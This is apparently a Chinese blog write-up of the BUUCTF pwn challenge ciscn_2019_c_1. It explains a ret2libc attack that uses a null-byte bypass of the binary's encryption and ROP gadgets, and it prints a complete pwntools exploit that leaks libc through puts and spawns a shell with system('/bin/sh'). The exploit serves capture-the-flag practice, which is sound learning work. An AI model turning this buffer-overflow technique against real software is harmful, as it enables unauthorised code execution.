[BUUCTF-pwn]——ciscn_2019_c_1

[BUUCTF-pwn]——ciscn_2019_c_1

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_c_1
  • 题目:
    在这里插入图片描述
    下载下来checksec一下
    在这里插入图片描述
    再IDA上面看一下,利用shift + f12看下字符串,发现没有我们想要的字符串,也没有system函数。
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述
应该是ret2libc的题型。仔细观察函数,发现 '\0’开头的字符串可以完美的绕过加密,不改变我们输入的payload。或者也可以自己写一下解密函数。

先用ROPgadget 找一下需要用到的汇编指令的地址。ret ubuntu18上有栈平衡,用来进行栈对齐。
在这里插入图片描述

所以exploit如下

from pwn import*
p=remote('node4.buuoj.cn',27205)
elf=ELF('./ciscn_2019_c_1')
libc = ELF('libc-2.27.so')
context.log_level = 'debug'
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline() #将下面两个puts跳过
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
log.info("puts_addr:" + hex(puts_addr))

libc_base = puts_addr - libc.sym['puts'] #计算偏移
sys_addr = libc_base + libc.sym["system"]
binsh = libc_base + 0x00000000001b3e9a
p.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr) # p64(ret)的数量不固定,可以自己尝试。
p.sendlineafter('encrypted\n',payload)
p.interactive()

会出现两个libc的版本,两个都试试就可以了。
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值